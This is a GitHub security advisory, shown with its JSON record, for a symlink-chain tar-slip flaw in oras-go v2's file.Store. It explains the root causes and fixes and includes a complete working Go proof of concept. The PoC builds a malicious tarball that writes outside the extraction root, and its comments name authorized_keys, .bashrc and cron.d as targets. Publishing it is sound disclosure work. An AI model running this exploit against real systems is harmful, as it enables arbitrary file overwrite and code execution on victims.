GHSA-M37J-52J7-PJW7
Vulnerability from github – Published: 2026-09-17 17:15 – Updated: 2026-09-17 17:15Summary
The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration — a canonical tar-slip → RCE primitive.
Details
Affected versions: <= v2.6.1
Entry point: content/file/file.go line 486, (*Store).pushDir — reached from (*Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.
Root cause 1 — lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
// resolve link
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target)
}
// ensure path is under baseAbs or baseRel
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil
}
filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.
Root cause 2 — parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:
// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
...
} else if info.Mode()&os.ModeSymlink != 0 {
return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
}
dir = filepath.Dir(dir)
}
For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes — the entry itself is never Lstat-checked.
Root cause 3 — write follows symlinks. content/file/utils.go line 279, writeFile:
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)
No O_NOFOLLOW, so if path is a symlink the write goes to its target.
Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:
Nnested directories<title>/d0/d1/…/d{N-1}.- A symlink
<title>/d0/…/d{N-1}/up→"../../…"(Nlevels). Both lexically and on disk this resolves tobaseAbs, soensureLinkPathaccepts it andresolveRelToBasesees only real directories in its ancestry. - A symlink
<title>/escape→"d0/…/d{N-1}/up/../../…/<absTarget>"(N..components afterup). Lexically,filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>")cancels theN..againstupplusd{N-2}…d0, yieldingbaseAbs/d0/<absTarget>— inside the root, soensureLinkPathaccepts it.resolveRelToBasethen walksd0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolvingbaseAbs/d0/…/upfirst followsupback tobaseAbs, and the remainingN..components climb frombaseAbsto/, then<absTarget>is appended — the symlink points at the attacker-chosen absolute path. - A regular file
<title>/escape(same name).resolveRelToBase("escape")yieldsdir == "."(root cause 2), so noLstatis performed.extractTarDirectory(line 181) callswriteFilewhich opensbaseAbs/escapewithO_TRUNCand noO_NOFOLLOW(root cause 3), writing the attacker's payload through the symlink to<absTarget>.
Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDir → extractTarGzip → extractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.
Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with O_NOFOLLOW (or O_EXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVE_BENEATH) / os.Root (Go 1.24+) for all filesystem operations.
PoC
go mod init poc
go get oras.land/oras-go/v2@v2.6.1
go run .
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
_ "crypto/sha256"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/opencontainers/go-digest"
ocispec "github.com/opencontainers/image-spec/specs-go/v1"
"oras.land/oras-go/v2/content/file"
)
func main() {
if err := run(); err != nil {
fmt.Println("ERROR:", err)
os.Exit(1)
}
}
func run() error {
ctx := context.Background()
// Victim's working directory for the file store.
workDir, err := os.MkdirTemp("", "oras-victim-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
fmt.Println("[*] file.Store working dir:", workDir)
// Target path the attacker wants to write, OUTSIDE workDir.
// (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
// a temp path keeps the demo self-contained.)
outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
_ = os.Remove(outsidePath)
defer os.Remove(outsidePath)
fmt.Println("[*] attacker target (outside workDir):", outsidePath)
// The layer's AnnotationTitle. extractTarDirectory uses this as both the
// in-tar prefix and the on-disk subdir under workDir.
const title = "out"
baseAbs := filepath.Join(workDir, title)
// N nested dirs + a symlink "up" -> N*"../" so that after the kernel
// follows "up" (landing at baseAbs) the remaining N lexical ".."
// components climb from baseAbs to "/". N must be >= depth(baseAbs).
depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))
fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth)
gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)
if err != nil {
return err
}
// Descriptor exactly as it would appear in a manifest's "layers" array.
desc := ocispec.Descriptor{
MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
Digest: dgst,
Size: size,
Annotations: map[string]string{
ocispec.AnnotationTitle: title,
file.AnnotationUnpack: "true",
},
}
// Victim creates a file store with default settings (path traversal DISALLOWED).
store, err := file.New(workDir)
if err != nil {
return err
}
defer store.Close()
fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)
// This is exactly what oras.Copy() invokes per layer.
if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {
return fmt.Errorf("Push: %w", err)
}
// Check whether the out-of-tree file was written.
if data, err := os.ReadFile(outsidePath); err == nil {
rel, _ := filepath.Rel(workDir, outsidePath)
fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath)
fmt.Printf("[!] relative to workDir: %s\n", rel)
fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir")
return nil
}
fmt.Println("\n[-] no escape (file not created at", outsidePath, ")")
return nil
}
// buildMaliciousLayer builds a tar.gz that, when extracted by
// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.
func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {
var buf bytes.Buffer
gzw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gzw)
// 1. Nested directories: title/d0/d1/.../d{depth-1}
dirs := make([]string, depth)
for i := 0; i < depth; i++ {
dirs[i] = fmt.Sprintf("d%d", i)
}
for i := 1; i <= depth; i++ {
name := title + "/" + strings.Join(dirs[:i], "/")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {
return nil, "", 0, err
}
}
// 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../".
// Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.
upName := title + "/" + strings.Join(dirs, "/") + "/up"
upTarget := strings.Repeat("../", depth-1) + ".."
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 3. "escape" symlink at title/escape.
// Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>
// LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving
// d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it.
// KERNEL: d0/.../up follows the symlink to baseAbs, then N*".."
// climbs to "/", then appends outsidePath.
dots := strings.Repeat("../", depth-1) + ".."
escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 4. Regular file entry at title/escape - same path as the symlink.
// resolveRelToBase("escape") has dir=="." so the per-component Lstat
// loop never runs; writeFile opens with O_CREATE|O_TRUNC (no
// O_NOFOLLOW) and writes through the symlink to outsidePath.
payload := []byte("PWNED-BY-ORAS-TARSLIP")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil {
return nil, "", 0, err
}
if _, err := tw.Write(payload); err != nil {
return nil, "", 0, err
}
if err := tw.Close(); err != nil {
return nil, "", 0, err
}
if err := gzw.Close(); err != nil {
return nil, "", 0, err
}
data := buf.Bytes()
return data, digest.FromBytes(data), int64(len(data)), nil
}
Expected output (paths vary):
[*] file.Store working dir: /tmp/oras-victim-209731351
[*] attacker target (outside workDir): /tmp/oras-PWNED
[*] baseAbs depth = 3, building 3 nested dirs
[*] store.AllowPathTraversalOnWrite = false
[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED
[!] relative to workDir: ../oras-PWNED
[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir
Impact
Who is affected: Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a content/file.Store — e.g. oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts), the documented primary use of the file store — with default settings (AllowPathTraversalOnWrite=false, SkipUnpack=false). Downstream consumers include the ORAS CLI (oras pull to a directory) and tools built on oras-go that materialise artifact contents on disk.
What the attacker gains: Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting ~/.ssh/authorized_keys, ~/.bashrc/~/.profile, Git hooks, or (when running as root, e.g. in CI or a controller) /etc/cron.d/* or binaries on $PATH — i.e. remote code execution on the victim host.
Preconditions / reachability: No local preconditions beyond pulling an attacker-controlled artifact; the attacker does not need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (UI:R).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.1"
},
"package": {
"ecosystem": "Go",
"name": "oras.land/oras-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85731"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:15:57Z",
"nvd_published_at": "2026-09-16T17:18:15Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store\u0027s working directory under the default `AllowPathTraversalOnWrite=false` configuration \u2014 a canonical tar-slip \u2192 RCE primitive.\n\n### Details\n**Affected versions:** `\u003c= v2.6.1`\n\n**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` \u2014 reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: \"true\"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.\n\n**Root cause 1 \u2014 lexical link validation.** `content/file/utils.go` lines 264\u2013275, `ensureLinkPath`:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n // resolve link\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target)\n }\n // ensure path is under baseAbs or baseRel\n if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", err\n }\n return target, nil\n}\n```\n\n`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.\n\n**Root cause 2 \u2014 parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247\u2013257, inside `resolveRelToBase`:\n\n```go\n// No symbolic link allowed in the relative path\ndir := filepath.Dir(path)\nfor dir != \".\" {\n if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {\n ...\n } else if info.Mode()\u0026os.ModeSymlink != 0 {\n return \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", baseRel, target)\n }\n dir = filepath.Dir(dir)\n}\n```\n\nFor an entry named `\u003ctitle\u003e/escape`, `path == \"escape\"` and `filepath.Dir(\"escape\") == \".\"`, so the loop body never executes \u2014 the entry itself is never `Lstat`-checked.\n\n**Root cause 3 \u2014 write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:\n\n```go\nfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n```\n\nNo `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.\n\n**Data flow / exploit construction.** Let `baseAbs = \u003cworkingDir\u003e/\u003ctitle\u003e` and `N = depth(baseAbs)` (number of path components from `/`). The attacker\u0027s tar.gz contains, in order:\n\n1. `N` nested directories `\u003ctitle\u003e/d0/d1/\u2026/d{N-1}`.\n2. A symlink `\u003ctitle\u003e/d0/\u2026/d{N-1}/up` \u2192 `\"../../\u2026\"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.\n3. A symlink `\u003ctitle\u003e/escape` \u2192 `\"d0/\u2026/d{N-1}/up/../../\u2026/\u003cabsTarget\u003e\"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, \"d0/\u2026/up/../\u2026/\u003cabsTarget\u003e\")` cancels the `N` `..` against `up` plus `d{N-2}\u2026d0`, yielding `baseAbs/d0/\u003cabsTarget\u003e` \u2014 inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/\u003cabsTarget-parents\u003e`, none of which are symlinks (they don\u0027t exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/\u2026/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `\u003cabsTarget\u003e` is appended \u2014 the symlink points at the attacker-chosen absolute path.\n4. A regular file `\u003ctitle\u003e/escape` (same name). `resolveRelToBase(\"escape\")` yields `dir == \".\"` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker\u0027s payload through the symlink to `\u003cabsTarget\u003e`.\n\n**Why v2.6.1\u0027s `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` \u2192 `extractTarGzip` \u2192 `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.\n\n**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.\n\n### PoC\n```\ngo mod init poc\ngo get oras.land/oras-go/v2@v2.6.1\ngo run .\n```\n\n```go\n// Arbitrary file write outside a default-configured file.Store via\n// symlink-chain bypass in content/file.extractTarDirectory.\n//\n// ensureLinkPath() validates symlink targets purely lexically with\n// filepath.Join, which collapses \"..\" textually and does not follow\n// intermediate symlink components. By first planting a deep \"up\" symlink\n// that legitimately resolves to the extraction root, an \"escape\" symlink\n// can be crafted whose lexical target stays in-bounds but whose\n// kernel-resolved target is any absolute path. A follow-up TypeReg entry\n// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),\n// writing through the symlink.\n//\n// Realistic trigger: oras.Copy() from an untrusted registry into a\n// file.New() store. The attacker controls the manifest (sets\n// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.\n// All digests are honest, so content verification passes.\npackage main\n\nimport (\n \"archive/tar\"\n \"bytes\"\n \"compress/gzip\"\n \"context\"\n _ \"crypto/sha256\"\n \"fmt\"\n \"os\"\n \"path/filepath\"\n \"strings\"\n\n \"github.com/opencontainers/go-digest\"\n ocispec \"github.com/opencontainers/image-spec/specs-go/v1\"\n \"oras.land/oras-go/v2/content/file\"\n)\n\nfunc main() {\n if err := run(); err != nil {\n fmt.Println(\"ERROR:\", err)\n os.Exit(1)\n }\n}\n\nfunc run() error {\n ctx := context.Background()\n\n // Victim\u0027s working directory for the file store.\n workDir, err := os.MkdirTemp(\"\", \"oras-victim-*\")\n if err != nil {\n return err\n }\n defer os.RemoveAll(workDir)\n fmt.Println(\"[*] file.Store working dir:\", workDir)\n\n // Target path the attacker wants to write, OUTSIDE workDir.\n // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;\n // a temp path keeps the demo self-contained.)\n outsidePath := filepath.Join(os.TempDir(), \"oras-PWNED\")\n _ = os.Remove(outsidePath)\n defer os.Remove(outsidePath)\n fmt.Println(\"[*] attacker target (outside workDir):\", outsidePath)\n\n // The layer\u0027s AnnotationTitle. extractTarDirectory uses this as both the\n // in-tar prefix and the on-disk subdir under workDir.\n const title = \"out\"\n baseAbs := filepath.Join(workDir, title)\n\n // N nested dirs + a symlink \"up\" -\u003e N*\"../\" so that after the kernel\n // follows \"up\" (landing at baseAbs) the remaining N lexical \"..\"\n // components climb from baseAbs to \"/\". N must be \u003e= depth(baseAbs).\n depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), \"/\"), \"/\"))\n fmt.Printf(\"[*] baseAbs depth = %d, building %d nested dirs\\n\", depth, depth)\n\n gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)\n if err != nil {\n return err\n }\n\n // Descriptor exactly as it would appear in a manifest\u0027s \"layers\" array.\n desc := ocispec.Descriptor{\n MediaType: \"application/vnd.oci.image.layer.v1.tar+gzip\",\n Digest: dgst,\n Size: size,\n Annotations: map[string]string{\n ocispec.AnnotationTitle: title,\n file.AnnotationUnpack: \"true\",\n },\n }\n\n // Victim creates a file store with default settings (path traversal DISALLOWED).\n store, err := file.New(workDir)\n if err != nil {\n return err\n }\n defer store.Close()\n fmt.Println(\"[*] store.AllowPathTraversalOnWrite =\", store.AllowPathTraversalOnWrite)\n\n // This is exactly what oras.Copy() invokes per layer.\n if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {\n return fmt.Errorf(\"Push: %w\", err)\n }\n\n // Check whether the out-of-tree file was written.\n if data, err := os.ReadFile(outsidePath); err == nil {\n rel, _ := filepath.Rel(workDir, outsidePath)\n fmt.Printf(\"\\n[!] BYPASS: wrote %q to %s\\n\", string(data), outsidePath)\n fmt.Printf(\"[!] relative to workDir: %s\\n\", rel)\n fmt.Println(\"[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\")\n return nil\n }\n fmt.Println(\"\\n[-] no escape (file not created at\", outsidePath, \")\")\n return nil\n}\n\n// buildMaliciousLayer builds a tar.gz that, when extracted by\n// content/file.extractTarDirectory under \u003cworkDir\u003e/\u003ctitle\u003e, writes to outsidePath.\nfunc buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {\n var buf bytes.Buffer\n gzw := gzip.NewWriter(\u0026buf)\n tw := tar.NewWriter(gzw)\n\n // 1. Nested directories: title/d0/d1/.../d{depth-1}\n dirs := make([]string, depth)\n for i := 0; i \u003c depth; i++ {\n dirs[i] = fmt.Sprintf(\"d%d\", i)\n }\n for i := 1; i \u003c= depth; i++ {\n name := title + \"/\" + strings.Join(dirs[:i], \"/\")\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {\n return nil, \"\", 0, err\n }\n }\n\n // 2. \"up\" symlink at the bottom, pointing back to baseAbs via depth*\"../\".\n // Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.\n upName := title + \"/\" + strings.Join(dirs, \"/\") + \"/up\"\n upTarget := strings.Repeat(\"../\", depth-1) + \"..\"\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {\n return nil, \"\", 0, err\n }\n\n // 3. \"escape\" symlink at title/escape.\n // Target = d0/.../d{N-1}/up/../.. (N times) /\u003coutsidePath\u003e\n // LEXICAL clean: the N \"..\" cancel \"up\" + (N-1) dirs, leaving\n // d0/\u003coutsidePath\u003e - INSIDE baseAbs, so ensureLinkPath accepts it.\n // KERNEL: d0/.../up follows the symlink to baseAbs, then N*\"..\"\n // climbs to \"/\", then appends outsidePath.\n dots := strings.Repeat(\"../\", depth-1) + \"..\"\n escapeTarget := strings.Join(dirs, \"/\") + \"/up/\" + dots + outsidePath\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: title + \"/escape\", Linkname: escapeTarget, Mode: 0o777}); err != nil {\n return nil, \"\", 0, err\n }\n\n // 4. Regular file entry at title/escape - same path as the symlink.\n // resolveRelToBase(\"escape\") has dir==\".\" so the per-component Lstat\n // loop never runs; writeFile opens with O_CREATE|O_TRUNC (no\n // O_NOFOLLOW) and writes through the symlink to outsidePath.\n payload := []byte(\"PWNED-BY-ORAS-TARSLIP\")\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeReg, Name: title + \"/escape\", Mode: 0o644, Size: int64(len(payload))}); err != nil {\n return nil, \"\", 0, err\n }\n if _, err := tw.Write(payload); err != nil {\n return nil, \"\", 0, err\n }\n\n if err := tw.Close(); err != nil {\n return nil, \"\", 0, err\n }\n if err := gzw.Close(); err != nil {\n return nil, \"\", 0, err\n }\n\n data := buf.Bytes()\n return data, digest.FromBytes(data), int64(len(data)), nil\n}\n```\n\nExpected output (paths vary):\n\n```\n[*] file.Store working dir: /tmp/oras-victim-209731351\n[*] attacker target (outside workDir): /tmp/oras-PWNED\n[*] baseAbs depth = 3, building 3 nested dirs\n[*] store.AllowPathTraversalOnWrite = false\n\n[!] BYPASS: wrote \"PWNED-BY-ORAS-TARSLIP\" to /tmp/oras-PWNED\n[!] relative to workDir: ../oras-PWNED\n[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\n```\n\n### Impact\n**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` \u2014 e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store \u2014 with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.\n\n**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` \u2014 i.e. remote code execution on the victim host.\n\n**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim\u0027s working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).",
"id": "GHSA-m37j-52j7-pjw7",
"modified": "2026-09-17T17:15:57Z",
"published": "2026-09-17T17:15:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-m37j-52j7-pjw7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85731"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/commit/adab2f25ea95ef4e6e41f50db9266a6701399422"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-go"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.